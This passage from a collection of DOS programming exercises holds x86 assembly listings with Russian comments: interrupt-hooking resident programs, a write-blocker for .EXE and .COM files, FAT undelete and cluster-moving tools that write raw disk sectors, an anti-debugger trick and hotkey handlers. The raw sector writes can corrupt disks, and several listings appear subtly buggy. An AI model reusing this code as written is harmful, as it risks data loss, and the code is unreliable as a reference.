jnz next

mov al, 0FFh ; мы уже здесь

next:

jmp [dword ptr cs:old_int_2Fh] ; старый воктор

endp new_int_2Fh

old_int_16h dd 0

old_int_2Fh dd 0

load:

mov ax, 0F104h

int 2Fh ; мы здесь?

cmp al, 0FFh ; да -- выход

jz already

mov ax, 3516h ; сохранение старого вектора

int 21h

mov [word ptr old_int_16h], bx

mov [word ptr old_int_16h + 2], es

mov ax, 352Fh ; сохранение старого вектора

int 21h

mov [word ptr old_int_2Fh], bx

mov [word ptr old_int_2Fh + 2], es

mov ax, 2516h ; загрузка нового

mov dx, offset new_int_16h

int 21h

mov ax, 252Fh ; загрузка нового

mov dx, offset new_int_2Fh

int 21h

mov ah, 49h ; окружение не нужно

mov es, [word ptr 2Ch]

int 21h

mov dx, offset load

int 27h ; остаться в памяти

already:

mov ah, 09h

mov dx, offset already_str

int 21h

int 20h

dataseg

already_str db '12 already instaled!', 10, 13, '$'

end

29 ; защита exe и com файлов

ideal

jumps

p286

model tiny,pascal

codeseg

startupcode

jmp load

proc new_int_21h far

cmp ah, 3Dh ; открыть

jz @@open

cmp ah, 40h ; писать

jz @@write

cmp ah, 3Eh ; закрыть

jz @@close

@@_4:

jmp [dword ptr cs:old_int_21h] ; старый вектор

@@open:

push ax bx

mov bx, dx

@@_1:

mov al, [byte ptr bx]

inc bx

or al, al

jnz @@_1 ; поиск конца имени файла

cmp [word ptr bx - 3], 4558h ; EXE ; он exe?

jnz @@_2

cmp [byte ptr bx - 4], 45h

jnz @@_2 ; нет -- уходим

jmp @@_5 ; да

@@_2:

cmp [word ptr bx - 3], 4D4Fh ; COM ; com?

jnz @@_3

cmp [byte ptr bx - 4], 43h

jnz @@_3 ; нет -- уходим

@@_5:

pop bx ax

pushf

call [dword ptr cs:old_int_21h] ; какой же хендл ему дос даст?

jc @@_6 ; ошибка выходим

pushf

push bx

mov bx, [cs:s] ; созраним хендл

shl bx, 1 ; слово

add bx, offset hs ; смещение для нового хендла

mov [word ptr cs:bx], ax

pop bx

inc [cs:s] ; counter++

popf

@@_6:

mov [cs:old_ax], ax ; выход с новыми флагами

mov [cs:old_bx], bx

mov [cs:old_cx], cx

pop ax

pop bx

pop cx

pushf

push bx

push ax

mov ax, [cs:old_ax]

mov bx, [cs:old_bx]

mov cx, [cs:old_cx]

iret

@@_3:

pop bx ax

jmp @@_4

@@write:

pushf

push ax cx es di

mov cx, [cs:s] ; число открытых файлов

or cx, cx ; нет таких -- уходим

jz @@_7

push cs

pop es

cld

mov ax, bx

mov di, offset hs

repnz scasw ; поиск файла в который пишут

jnz @@_7

pop di es cx ax

popf

mov ax, 05h ; стандартная ошибка access denied

stc ; cf=1

jmp @@_6

@@_7:

pop di es cx ax

popf

jmp @@_4

@@close:

pushf

push ax cx es di

mov cx, [cs:s] ; нужно коррекировать таблицу?

or cx, cx

jz @@_8 ; не не нужно -- она пустая

push cs

pop es

cld

mov ax, bx

mov di, offset hs

repz scasw ; поиск хендла

jnz @@_8

push ds si

mov si, di

inc si

inc si

push cs

pop ds

rep movsb ; переписываем хвост таблицы

dec [cs:s]

pop si ds

@@_8:

pop di es cx ax

popf

jmp @@_4

endp new_int_21h

old_ax dw ?

old_bx dw ?

old_cx dw ?

proc new_int_2Fh far

cmp ax, 0F104h ; волшебное слово

jnz next

mov al, 0FFh ; уже есть

next:

jmp [dword ptr cs:old_int_2Fh]

endp new_int_2Fh

old_int_21h dd 0

old_int_2Fh dd 0

hs dw 256 dup(0)

s dw 0

load:

mov ax, 0F104h

int 2Fh

cmp al, 0FFh

jz already ; уже есть

mov ax, 3521h

int 21h ; старый вектор

mov [word ptr old_int_21h], bx

mov [word ptr old_int_21h + 2], es

mov ax, 352Fh

int 21h

mov [word ptr old_int_2Fh], bx

mov [word ptr old_int_2Fh + 2], es

mov ax, 2521h

mov dx, offset new_int_21h

int 21h

mov ax, 252Fh

mov dx, offset new_int_2Fh

int 21h

mov ah, 49h ; выгружаем окружение

mov es, [word ptr 2Ch]

int 21h

mov dx, offset load

int 27h ; остаемся в памяти

already:

mov ah, 09h

mov dx, offset already_str

int 21h

int 20h

dataseg

already_str db '14 already instaled!', 10, 13, '$'

end

30 ; unerase

ideal

jumps

p386

model tiny,pascal

codeseg

startupcode

xor al, al

mov cx, 1

mov dx, 0

mov bx, offset buf

int 25h ; бут

pop ax

xor al, al

mov cx, [word ptr buf + 16h]

mov dx, 1

mov bx, offset bf2

int 25h ; фат

pop ax

xor al, al

mov cx, 14

mov dx, 19

mov bx, offset r

int 25h ; корневой каталог

pop bx

xor bx, bx

@@_2:

cmp [byte ptr r + bx], 0 ; конец?

jz @@_1

cmp [byte ptr r + bx], 'х' ; русская х -- удален

jz @@_del

@@_3:

add bx, 32 ; размер записи в директории

jmp @@_2

@@_del:

mov eax, [dword ptr r + bx + 1Ch] ; размер файла

add eax, 01FFh ; добавим почти 512

shr eax, 9 ; перевод в сектора

mov cx, [word ptr r + bx + 1Ah] ; первый клястер

call undel ; востановить

jmp @@_3

@@_1:

int 20h

proc undel

mov [byte ptr r + bx], 'A' ; замена первой буквы

dec ax

jz @@_wrt

xchg ax, cx

@@_5:

push ax

mov bx, 3

mul bx

shr ax, 1

mov bx, ax

pop ax

test ax, 1

jnz @@_4

inc ax

mov dx, [word ptr bf2 + bx]

and dx, 0F000h

cmp cx, 0 ; последний клятсер?

jnz @@_6

mov ax, 0FFFh ; да последний

@@_6:

add ah, dh ; записать номер следующиго клястера

mov [word ptr bf2 + bx], ax

jmp @@_8

@@_4:

inc ax

push ax

shl ax, 4

mov dx, [word ptr bf2 + bx]

cmp cx, 0 ; последний клятсер?

jnz @@_7

mov ax, 0FFF0h ; да последний

@@_7:

mov dh, ah

and dx, 0Fh

add dl, al ; записать номер следующиго клястера

mov [word ptr bf2 + bx], dx

pop ax

@@_8:

loop @@_5

@@_wrt:

xor al, al

mov cx, 9

mov dx, 1

mov bx, offset bf2 ; запись первой fat

int 26h

pop ax

mov cx, 9

xor al, al

mov dx, 10

mov bx, offset bf2

int 26h ; запись второй fat

pop ax

xor al, al

mov cx, 14

mov dx, 19

mov bx, offset r ; запись корневого каталога

int 26h

pop ax

ret

endp undel

udataseg

buf db 512 dup(?)

bf2 db 512 * 9 dup(?)

r db 224 * 32 dup(?)

end

31; начальные адреса дисков

ideal

jumps

p386

model tiny,pascal

struc tmbr

db 1BEh dup(?)

p1bf db ?

p1bh db ?

p1bsc dw ?

p1ft db ?

p1eh db ?

p1esc dw ?

p1ba dd ?

p1ts dd ?

p2bf db ?

p2bh db ?

p2bsc dw ?

p2ft db ?

p2eh db ?

p2esc dw ?

p2ba dd ?

p2ts dd ?

p3bf db ?

p3bh db ?

p3bsc dw ?

p3ft db ?

p3eh db ?

p3esc dw ?

p3ba dd ?

p3ts dd ?

p4bf db ?

p4bh db ?

p4bsc dw ?

p4ft db ?

p4eh db ?

p4esc dw ?

p4ba dd ?

p4ts dd ?

db ?,?

ends tmbr

codeseg

startupcode

mov ax, 0201h ; читать (02) один сектор (01)

mov cx, 0001h ; сектор #1 цилиндр 0

mov dx, 80h ; первый hdd

mov bx, offset mbr

int 13h

mov cl, [mbr.p1ft]

or cl, cl ; пусто

jz @@_2

mov al, [mbr.p1bh] ; координаты начала раздела HCS

mov bx, [mbr.p1bsc]

cmp cl, 05h ; расширенный раздел dos?

jnz @@_2a

call prn_ext ; его печать

jmp @@_2

@@_2a:

call prn_hsc

@@_2:

mov cl, [mbr.p2ft] ; для второгй записи

or cl, cl

jz @@_3

mov al, [mbr.p2bh]

mov bx, [mbr.p2bsc]

cmp cl, 05h

jnz @@_3a

call prn_ext

jmp @@_3

@@_3a:

call prn_hsc

@@_3:

mov cl, [mbr.p3ft]

or cl, cl

jz @@_4

mov al, [mbr.p3bh]

mov bx, [mbr.p3bsc]

cmp cl, 05h

jnz @@_4a

call prn_ext

jmp @@_4

@@_4a:

call prn_hsc

@@_4:

mov cl, [mbr.p4ft]

or cl, cl

jz @@_5

mov al, [mbr.p4bh]

mov bx, [mbr.p4bsc]

cmp cl, 05h

jnz @@_5a

call prn_ext

jmp @@_5

@@_5a:

call prn_hsc

@@_5:

ret

proc prn_hsc

call prn_byte ; голова

mov ax, 0E20h ; пробел

int 10h

push bx

xchg bl, bh

shr bh, 6 ; cccc cccc CcSs ssss

mov al, bh

call prn_byte ; цилиндр

mov al, bl

call prn_byte ; младший байт

pop bx

mov ax, 0E20h

int 10h

and bl, 00111111b ; сектор

mov al, bl

call prn_byte

mov ax, 0E0Ah

int 10h

mov al, 0Dh

int 10h

ret

endp prn_hsc

proc prn_ext

mov cx, bx

mov dh, al

mov dl, 80h ; с hdd #1

mov ax, 0201h ; читать один сектор

mov bx, offset smbr

int 13h

mov ax, 0E3Eh ; вывести '>', что б отличать primary

int 10h

mov al, [smbr.p1bh]

mov bx, [smbr.p1bsc]

call prn_hsc ; печать координат лог. диска

cmp [smbr.p2ft], 05h ; есть еще лог. диски

jnz @@exit

mov al, [smbr.p2bh]

mov bx, [smbr.p2bsc]

call prn_ext ; рекурсия

@@exit:

ret

endp prn_ext

proc prn_byte

push ax bx ax

shr al, 4

add al, '0'

cmp al, '9'

jle @@prn

add al, 'A' - '0' - 10

@@prn:

mov ah, 0Eh

xor bx, bx

int 10h

pop ax

and ax, 0Fh

add al, '0'

cmp al, '9'

jle @@prn2

add al, 'A' - '0' - 10

@@prn2:

mov ah, 0Eh

xor bx, bx

int 10h

pop bx ax

ret

endp prn_byte

udataseg

mbr tmbr <>

smbr tmbr <>

end

32; вывод bpb

ideal

jumps

p286

model tiny,pascal

codeseg

startupcode

xor al, al ; a:

mov cx, 1 ; один сектор

mov dx, 0 ; нуловой

mov bx, offset buf

int 25h

xor bx, bx

mov cx, 25 ; длинна bpb

@@_1:

mov al, [byte ptr buf + bx + 0Bh] ; по смещению 11

call prn_byte ; печать байта

mov ax, 0E20h ; пробел

int 10h

inc bx

loop @@_1

int 20h

udataseg

buf db 512 dup(?)

codeseg

proc prn_byte

push ax bx ax

shr al, 4

add al, '0'

cmp al, '9'

jle @@prn

add al, 'A' - '0' - 10

@@prn:

mov ah, 0Eh

xor bx, bx

int 10h

pop ax

and ax, 0Fh

add al, '0'

cmp al, '9'

jle @@prn2

add al, 'A' - '0' - 10

@@prn2:

mov ah, 0Eh

xor bx, bx

int 10h

pop bx ax

ret

endp prn_byte

end

33; сектор текстового файла

ideal

jumps

p286

model tiny,pascal

struc tdst

fn db 8 dup(?)

fe db 3 dup(?)

fa db ?

db 10 dup(?)

ft dw ?

fd dw ?

cl dw ?

sz dd ?

ends tdst

codeseg

startupcode

mov cl, [80h] ; длинна комстроки

dec cl

cmp cl, 3 ; разна трем?

jz @@_0

ret ; нет выход

@@_0:

xor cx, cx ; десятичный номер клястера

mov al, [82h]

xor ah, ah

sub al, '0'

mov bx, 100

mul bx

add cx, ax

mov al, [83h]

xor ah, ah

sub al, '0'

mov bx, 10

mul bx

add cx, ax

mov al, [84h]

xor ah, ah

sub al, '0'

add cx, ax

mov [number], cx ; сохраним номер

xor al, al ; читаем bootsec

mov cx, 1

mov dx, 0

mov bx, offset buf

int 25h

pop ax

xor al, al ; читаем фат

mov cx, [word ptr buf + 16h]

mov dx, 1

mov bx, offset bf2

int 25h

pop ax

mov cx, 14 ; читаем rootdir

mov dx, 19

mov bx, offset dst

xor al, al

int 25h

pop ax

mov bx, [dst.cl] ; у первого попавшегося файла

xor dx, dx ; счетчик

@@_1:

call get_cl ; следующий клястер

inc dx

cmp dx, [number] ; нужный?

jz @@found ; да!

cmp ax, 0FFFh ; конец?

jz @@exit ; тогда выходим...

mov bx, ax

jmp @@_1

@@found:

mov dx, bx

add dx, 31 ; поправка на номер сектора

mov cx, 1

xor al, al

mov bx, offset buf

int 25h ; читаем

pop ax

mov cx, 512 ; байт в секторе

mov bx, offset buf

mov ah, 0Eh

@@_2:

mov al, [byte ptr bx] ; печать символа

push bx

xor bx, bx

int 10h

pop bx

inc bx

loop @@_2

@@exit:

ret

udataseg

number dw ?

codeseg

proc get_cl

push bx

push bx

mov ax, bx

mov bx, 3

push dx

mul bx

pop dx

mov bx, ax

shr bx, 1

mov ax, [word ptr bf2 + bx]

pop bx

test bx, 1

jnz @@_1

and ax, 0FFFh

jmp @@_2

@@_1:

shr ax, 4

@@_2:

pop bx

ret

endp get_cl

udataseg

buf db 512 dup(?)

bf2 db 512 * 9 dup(?)

dst tdst <>

end

34; переписать последний клястер

ideal

jumps

p286

model tiny,pascal

struc tdst

fn db 8 dup(?)

fe db 3 dup(?)

fa db ?

db 10 dup(?)

ft dw ?

fd dw ?

cl dw ?

sz dd ?

ends tdst

codeseg

startupcode

xor al, al

mov cx, 1

mov dx, 0

mov bx, offset buf

int 25h ; читаем bootsec

pop ax

xor al, al

mov cx, [word ptr buf + 16h]

mov dx, 1

mov bx, offset bf2

int 25h ; fat

pop ax

mov cx, 14

mov dx, 19

mov bx, offset dst

xor al, al

int 25h ; rootdir

pop ax

mov bx, [dst.cl] ; первый файл, первый клястер

@@_1:

call get_cl ; следующий

push bx

mov bx, ax

call get_cl ; а дальше конец?

pop bx

cmp ax, 0FFFh

jz @@_move ; да

call get_cl ; нет вернутся на один по цепочке

mov bx, ax

jmp @@_1

@@_move:

mov [corr], bx ; корректируемый

call get_cl ; указывает на переписываемый

mov [from], ax

mov bx, 2 ; начинаем со второго

mov cx, 2879 ; максимально клястеров

@@_2:

call get_cl

or ax, ax ; пустой?

jz @@found ; да!

inc bx

loop @@_2

jmp @@exit ; нет свободных

@@found:

mov [to], bx ; куда переписываем

mov dx, [from] ; чтение сектора

add dx, 31

mov cx, 1

xor ah, ah

mov bx, offset buf

int 25h

pop ax

mov dx, [to] ; запись сектора

add dx, 31

mov cx, 1

xor ah, ah

mov bx, offset buf

int 26h

pop ax

mov bx, [corr] ; переделка фат

mov dx, [to]

call set_cl

mov bx, [from] ; теперь свободен

mov dx, 000h

call set_cl

mov bx, [to] ; а здесь конец файла

mov dx, 0FFFh

call set_cl

xor al, al

mov cx, 9 ; пишем фат

mov dx, 1

mov bx, offset bf2

int 26h

xor al, al

mov cx, 9 ; пишем фат 2

mov dx, 10

mov bx, offset bf2

int 26h

pop ax ax

@@exit:

ret

udataseg

from dw ?

to dw ?

corr dw ?

codeseg

proc get_cl

push bx

push bx

mov ax, bx

mov bx, 3

mul bx

mov bx, ax

shr bx, 1

mov ax, [word ptr bf2 + bx]

pop bx

test bx, 1

jnz @@_1

and ax, 0FFFh

jmp @@_2

@@_1:

shr ax, 4

@@_2:

pop bx

ret

endp get_cl

proc set_cl

push ax bx cx dx

push bx

mov ax, bx

mov bx, 3

push dx

mul bx

pop dx

mov bx, ax

shr bx, 1

mov ax, [word ptr bf2 + bx]

mov cx, bx

pop bx

test bx, 1

jnz @@_1

and ax, 0F000h

add dh, ah

jmp @@_2

@@_1:

and ax, 000Fh

shl dx, 4

add dx, ax

@@_2:

mov bx, cx

mov [word ptr bf2 + bx], dx

pop dx cx bx ax

ret

endp set_cl

udataseg

buf db 512 dup(?)

bf2 db 512 * 9 dup(?)

dst tdst <>

end

35; защита от отладчика

ideal

jumps

model tiny,pascal

codeseg

startupcode

mov al, 0F0h

mov [byte ptr @@_1 + 1], 0F0h ; в конвеере не перепишет

@@_1:

or al, 0Fh

cmp al, 0FFh

jnz @@_2

ret

@@_2:

mov ax, 0E07h ; отладчик!

int 10h

ret

end

36; оверлей по шагам

ideal

jumps

p286

model tiny,pascal

stack_size equ 100h

codeseg

startupcode

mov bx, (offset prog_end + stack_size)

and bx, 1111111111111110b ; установка стека

mov sp, bx

mov ah, 4ah ; изменяем размер

mov bx, (offset prog_end + 15 + stack_size)

shr bx, 4

int 21h

mov ax, 3501h ; узнаем где первый вектор

int 21h

mov [word ptr old_int_01h], bx

mov bx, es

mov [word ptr old_int_01h + 2], bx

mov ah, 25h ; установить наш

push cs cs

pop ds es

mov dx, offset my_trace

int 21h

mov ah, 48h ; выделим память под оверлей

mov bx, 10h

int 21h

jc @@_exit

mov [call_block], ax

mov [word ptr new_prog + 2], ax

mov ax, 4B03h ; загрузить но не выполнять

mov dx, offset prg_name

mov bx, offset call_block

int 21h

pushf ; при возврате iret'ом востановит

pushf

pop cx

or cx, 0000000100000000b ; установить флаг трассировки

push cx

popf

call [dword ptr new_prog] ; вызов оверлея

mov ax, [call_block] ; освобождение памяти

mov es, ax

mov ah, 49h

int 21h

@@_exit:

mov bx, [word ptr old_int_01h + 2]

mov es, dx

mov bx, [word ptr old_int_01h]

mov ax, 2501h ; вернуть старый вектор

int 21h

int 20h

proc my_trace far

push ax bx

mov ax, 0E2Dh ; вывести черточку

xor bx, bx

int 10h

pop bx ax

iret

endp my_trace

udataseg

old_int_01h dd ?

dataseg

new_prog dd 0

prg_name db '1.bin',0 ; имя оверлея

call_block dw 0

dw 0

udataseg

label prog_end word

end

; оверлей с точкой входа

ideal

jumps

segment code byte

dw offset begin

db '2.bin -- очень важный оверлей',0

begin:

mov ax, 0E07h

int 10h

retf

ends code

end

37 Резидентная программа, контролирующая чтение файлов типа .EXE

и .COM и выводящая соответствующее сообщение.

code segment

assume cs:code,ds:code,ss:code

org 100h

begin: jmp main ;переход на начало программы

message db 'Запущена ',0

message_ db ' программа.',0Dh,0Ah,0

int21: push ax bx dx cx ds ;сохраняем регистры

cmp ah,4bh ;смотрим если в ah 4bh

jne exit ;если нет то на выход

cmp al,03h ;смотрим если в al 03h

je exit ;если есть то на выход т.к.это оверлей

mov si,dx ;загружаем в si ASCIIZ строку(командную строку)

next: cmp byte ptr[si],2Eh ;смотри попалась точка или нет

je next_1 ;если точка переход по метки

inc si ;если нет переходи к следующему символу

jmp short next ;возврат на сравнение

next_1: inc si ;переходим к следующему символу

mov dx,si ;сохраняем si в dx

cmp byte ptr[si],43h ;смотрим что за символ

je met1 ;если С то на метку если нет то дальше

cmp byte ptr[si],45h ;если Е то на метку

je met1 ;

jmp short exit ;на выход

met1: push ds cs ;заносим в стек ds cs

pop ds ;загружаем cs в ds

mov si,offset message ;загружаем адрес сообщения в si

cld ;направляем поток

met2: lodsb ;загружаем символ из si в al

test al,al ;сравнить на ноль

jz met3 ;если ноль то на метку если нет то далие

int 29h ;недокументированная функци вывода символа на экран

jmp short met2 ;на повтор

met3: pop ds ;возвращаемся в предыдущий сегмент данных

mov si,dx ;загружаем в si dx

cld ;

next_2: lodsb ;

test al,al ;

jz met4 ;

int 29h ;

jmp short next_2 ;

met4: push cs ;

pop ds ;

mov si,offset message_ ;

cld ;

next_3: lodsb ;

test al,al ;

jz exit_

int 29h ;

jmp short next_3 ;

exit_: mov ah,00h ;ожидает нажатия лобой клавише

int 16h ;

exit: ;

pop ds cx dx bx ax ;востанавливаем сохраненные регистры

db 0eah ;длинный прыжок(возврат к программе jmp far ... )

old_int21 dd ? ;а это куда именно

;все что выше остается в памяти после комады INT 27H и будет работать при запуске других программах

main:

mov ax,3521h ;полечить вектор 21h прерывания

int 21h

mov word ptr old_int21,bx ;сохраняем старый

mov word ptr old_int21+2,es ;вектор

mov ax,2521h ;установить вектор прерывания

mov dx,offset int21 ;указываем откуда 'начинается' резидент

int 21h

mov dx,offset main ;то что не является резидентом

int 27h

code ends

end begin

38 Вывести таблицу перенастройки (RT) текущей программы.

#include <dos.h>

#include <fcntl.h>

#include <io.h>

#include <stdio.h>

#include <errno.h>

void main ()

{

int exe_handle;

int rt_size, i_off, i_seg;

if (_argc!=2)

{

printf("Формат запуска rt.exe <имя exe-файла>\n\n"); return;

}

exe_handle = open(_argv[1], O_BINARY | O_RDONLY);

if (exe_handle == -1)

switch (errno)

{

case ENOENT:

printf ("No such file or directory\n\n"); return;

case EMFILE:

printf ("Too many open files\n\n");

return;

case EACCES:

printf ("Permission denied\n\n");

return;

}

// Set file pointer to RT_SIZE

lseek (exe_handle,6,SEEK_SET);

read (exe_handle,&rt_size,2);

// Set file pointer to RT

printf("\nI_OFF\tI_SEG\n");

lseek (exe_handle,0x1b,SEEK_SET);

for (int i=0; i<rt_size; i++)

{

read(exe_handle,&i_off,2);

read(exe_handle,&i_seg,2);

printf("%x\t%x\n",i_off,i_seg);

}

close(exe_handle);

}

39; Обработка нажатия Ctrl_Pause

code segment para 'code'

assume ds:code,ss:code,es:code,cs:code

org 100h

begin:

jmp main

logo db 'ctrl_pause #3',10,13

db 10,13,'Press Ctrl+Break to stop infinite loop',10,13,'$'

ctrl_br db 10,13

db 'Ctrl+Break was presed and Int 1Bh was occupated',10,13,'$'

vect_1b dd 0

f_1b db 0

main:

mov ah,09h

lea dx,logo ; Вывод logo

int 21h

mov ax,351bh ; получаем адрес программы текущего

int 21h ; обработчика прерываний 1bh

mov word ptr [vect_1b],bx ; сохраняем его в переменной

mov word ptr [vect_1b+2],es ; vect_1b

mov ax,251bh ; инициализируем вектор прерываний

lea dx,int_1b ; и настраиваем его на процедуру

int 21h ; int_1b

repeat: ;бесконечный цикл

mov al,f_1b ;exit to Ctrl+Break

and al,al ;Int 1Bh

jz repeat

mov ax,251bh

mov dx,word ptr [vect_1b]

mov ds,word ptr [vect_1b+2]

int 21h

int 20h

int_1b proc

cli

push cs

pop ds

mov ah,09h

lea dx,ctrl_br

int 21h

mov f_1b,0ffh

sti

iret

endp

code ends

end begin

40;Резидент, выводящий по Alt+A сообщение

.186 ; Эта опция для того,что бы работало

cod segment ; pusha/popa - сохранение всех

org 100h ; регистров в стеке

assume cs:cod,ds:cod ;

;

Begin: ;

jmp Init ;Проинициализируемся!

;

Int9h: ;Собственно обработка

push ds ; - сохраним среду

push es ;

pusha ;

push cs ;

pop ds ;

;

push 0040h ;Проверим,удерживается ли Alt

pop es ;по адресу 0040:0017 лежит слово

mov ax,word ptr es:[0017h] ;состояния,где 3-й бит - признак этого

and ax,word ptr 8 ;нажатия.Его и проверим

cmp ax,word ptr 8 ;

jne OutThere ;

in al,60h ;Прочтем клавишу из буфера

cmp al,1EH ;Сравним с A

je PutMessage ;

jmp OutThere ;Если все напрасно-уходим

PutMessage: ;По клавишам Alt+A выведем сообщение

mov ah,9 ;

mov dx,offset Message ;

int 21h ;

OutThere: ;

popa ;Восстановим среду

pop es ;

pop ds ;

jmp dword ptr cs:[Old_Int9] ;и обработаем по умолчанию

Message db "The valid combination is pressed!!!",10,13,'$'

Old_Int9 dd 0 ;

Init: ;

mov ax,3509h ;Стандартный перехват вектора прерываний

int 21h ;

;

mov word ptr [Old_Int9+2],es;Запомним преведущий вектор

mov word ptr [Old_Int9],bx ;

;

mov ax,2509h ;Установим его на нашу функцию

mov dx,offset Int9h ;

int 21h ;

;

mov dx,offset Init ;Выйдем,став резидентными

inc dx ;

int 27h ;

cod ends ;

end Begin ;

41 ;Резидент, выходящий по Alt+Q

.186 ; Эта опция для того,что бы работало

cod segment ; pusha/popa - сохранение всех

org 100h ; регистров в стеке

assume cs:cod,ds:cod ;

;

Begin: ;

jmp Init ;Проинициализируемся!

;

Int9h: ;Собственно обработка

push ds ; - сохраним среду

push es ;

pusha ;

push cs ;

pop ds ;

;

push 0040h ;Проверим,удерживается ли Alt

pop es ;по адресу 0040:0017 лежит слово

mov ax,word ptr es:[0017h] ;состояния,где 3-й бит - признак этого

and ax,word ptr 8 ;нажатия.Его и проверим

cmp ax,word ptr 8 ;

jne OutThere ;

;

in al,60h ;Прочтем клавишу из буфера

cmp al,10h ;Сравним с Q

; je Clean ;

jne OutThere ;Если все напрасно-уходим

Clean: ;удалим из памяти

mov ah,9h

push cs

pop ds

lea dx,mes

int 21h

push word ptr 0 ;запишем старый вектор назад в таблицу

pop ds ;прерываний по адресу 0000:0024

mov bx,24h ;

mov ax,word ptr cs:[Old_Int9]

mov word ptr ds:[bx],ax ;

mov ax,word ptr cs:[Old_Int9+2]

mov word ptr ds:[bx+2],ax ;

mov ah,49h ;Высвобождаем память функцией

push cs ;ДОСа

pop es ;

int 21h ;

OutThere: ;

popa ;Восстановим среду

pop es ;

pop ds ;

jmp dword ptr cs:[Old_Int9] ;и обработаем по умолчанию

mes db 'Fuck',10,13,'$' ;

Old_Int9 dd 0 ;

;

Init: ;

mov ax,3509h ;Стандартный перехват вектора прерываний

int 21h ;

;

mov word ptr [Old_Int9+2],es;Запомним преведущий вектор

mov word ptr [Old_Int9],bx ;

;

mov ax,2509h ;Установим его на нашу функцию

mov dx,offset Int9h ;

int 21h ;

;

mov dx,offset Init ;Выйдем,став резидентными

inc dx ;

int 27h ;

cod ends ;

end Begin ;

42; Транзитная программа, cодержащая обработчик нажатия Ctrl-Break, по

; которму выводится строка сообщения и программа завершается.

text segment 'code'

assume cs:text,ds:text

org 100h

resid proc far

jmp start

mes db 'B',4,'r',4,'e',4,'a',4,'k',4

entry:

push ds

push si

push bx

push es

push cx

push di

push cs

pop ds

lea si,mes

mov bx,0B800h

mov es,bx

mov di,0

mov cx,10

rep movsb

pop di

pop cx

pop es

pop bx

pop si

pop ds

iret

resid endp

ressize equ $-resid

start proc

push cs

pop ds

mov ax,251Bh

lea dx,entry

int 21h

mov ah,9

lea dx,mes1

int 21h

mov ax,3100h

mov dx,(ressize+10Fh)/16

int 21h

start endp

mes1 db '(C) Ctrl-Break catcher is loaded...',10,13,'$'

text ends

end resid

43;TSR выводящая в нижней строке часы из CMOS

.286

Model tiny

CodeSeg

Org 100h

start:

jmp Init

Int_1C PROC FAR

pusha

push ds

mov cx,cs:Count

cmp cx,1080

je done

inc cs:Count

jmp exit

done:

mov al,4

out 70h,al

in al,71h

push ax

and ax,0Fh

add ax,48

mov cs:Mess+2,al

pop ax

xor ah,ah

shr al,4

add al,48

mov cs:Mess,al

mov al,2

out 70h,al

in al,71h

push ax

and ax,0Fh

add ax,48

mov cs:Mess+8,al

pop ax

xor ah,ah

shr al,4

add al,48

mov cs:Mess+6,al

push 0B8F9h

pop ds

mov cx,5

mov si,6

xor di,di

mov cs:Count,di

Loop1:

mov ax,word ptr cs:[di+Mess]

mov ds:[si],ax;word ptr cs:[bx+si]

inc si

inc di

inc di

inc si

loop Loop1

exit:

pop ds

popa

iret

Count dw 1080

Mess db 32,13,32,13,':',13,32,13,32,13

Int_1C ENDP

Init:

mov ax,251Ch

lea dx,Int_1C

int 21h

lea dx,Init

inc dx

int 27h

end start

44;Программа, контролирующая запуск программ

TITLE TASK1 (COM)

; --------------------------------------------

.286

INTTAB SEGMENT AT 0

ORG 21H*4

AINT21 LABEL DWORD

ORG 2FH*4

AINT2F LABEL DWORD

INTTAB ENDS

CSEG SEGMENT PARA

ASSUME CS:CSEG

ORG 100H

Start: JMP INIT

SINT21 DD ?

SINT2F DD ?

MESS DB 13,10,'Запускается пpогpамма:$'

PROC21 PROC

CMP AH,4BH

JE B10

JMP SINT21

B10: PUSHA

PUSH DS

PUSH dx

MOV ax,cs

mov ds,ax

lea dx,MESS ; вывод сообщения

mov ah,9 ;

PUSHF ;

CALL SINT21 ;

pop dx

pop ds

XOR CX,CX

MOV BX,DX

B20: CMP BYTE PTR [BX],0 ;

JE B30 ; подсчет числа байт

INC CX ; в имени файла

INC BX ;

JMP B20 ;

B30: MOV AH,40H ;

MOV BX,01 ; вывод имени файла

PUSHF ; на монитоp

CALL SINT21 ;

mov ah,2 ;

mov dl,13 ; пеpевод стpоки

PUSHF ;

CALL SINT21 ;

mov dl,10 ;

PUSHF ;

CALL SINT21 ;

POPA

JMP SINT21

PROC21 ENDP

PROC2F PROC

ASSUME CS:CSEG,DS:NOTHING,ES:NOTHING

CMP AX,0EF00H

JE W10

JMP SINT2F

W10: MOV AX,0FFH

IRET

PROC2F ENDP

INIT PROC NEAR

ASSUME DS:CSEG

MOV AX,0EF00H ; проверка повторной загрузки

INT 2FH ;

CMP AX,0FFH ;

JNE I10 ;

MOV AH,9 ; программа уже загружена

LEA DX,MESS1 ;

INT 21H ; вывод сообщения

RET

I10: ASSUME ES:INTTAB

MOV AX,INTTAB

MOV ES,AX

CLI

MOV AX,WORD PTR AINT21 ; сохранить адрес

MOV WORD PTR SINT21,AX ; адрес прежнего

MOV AX,WORD PTR AINT21+2 ; обработчика прерывания 21

MOV WORD PTR SINT21+2,AX ;

MOV WORD PTR AINT21,OFFSET PROC21 ; заменить адрес

MOV WORD PTR AINT21+2,CS ; обработчика прерывания 21

MOV AX,WORD PTR AINT2F ; сохранить адрес

MOV WORD PTR SINT2F,AX ; адрес прежнего

MOV AX,WORD PTR AINT2F+2 ; обработчика прерывания 2F

MOV WORD PTR SINT2F+2,AX ;

MOV WORD PTR AINT2F,OFFSET PROC2F ; заменить адрес

MOV WORD PTR AINT2F+2,CS ; обработчика прерывания 2F

STI

MOV AH,9 ;

LEA DX,MESS2 ;

INT 21H ; вывод сообщения

MOV DX, OFFSET INIT ; завершить и

INT 27H ; оставить резидентной

MESS1 DB 'Программа уже была загружена.$'

MESS2 DB 'Программа стартовала.$'

ENDP

CSEG ENDS

END Start

45 Резидентная программа, которая активизируется по нажатию *

Ctrl+B и удаляется из памяти по Ctrl+Q. *

codesg segment

assume cs:codesg, ds:codesg, ss:codesg

org 100h

start:

jmp install

;------------------------------------------

nl EQU 0dh, 0ah

old_int16h dw 0, 0

msg1 db nl, 'Install', nl, '$'

msg2 db nl, 'Already installed!', nl, '$'

msg3 db 07h, 07h, 24h

msg4 db 07h, 24h

;------------------------------------------

int_16h proc

cmp ax, 5048h ;проверка на повторный запуск

jne m1

mov bx, ax

iret

m1:

cmp ah, 00h

je m2

cmp ah, 10h

je m2

jmp dword ptr cs:old_int16h ;вернуться к старому обработчику

m2:

pushf

call dword ptr cs:old_int16h ;прочитать символ

push ds

push ax

mov ax, 0040h

mov ds, ax

mov al, ds:[0017h] ;from BIOS Data Area

test al, 00000100b ;Ctrl-shift (either side) DOWN

jnz m3

jmp short return

m3:

pop ax

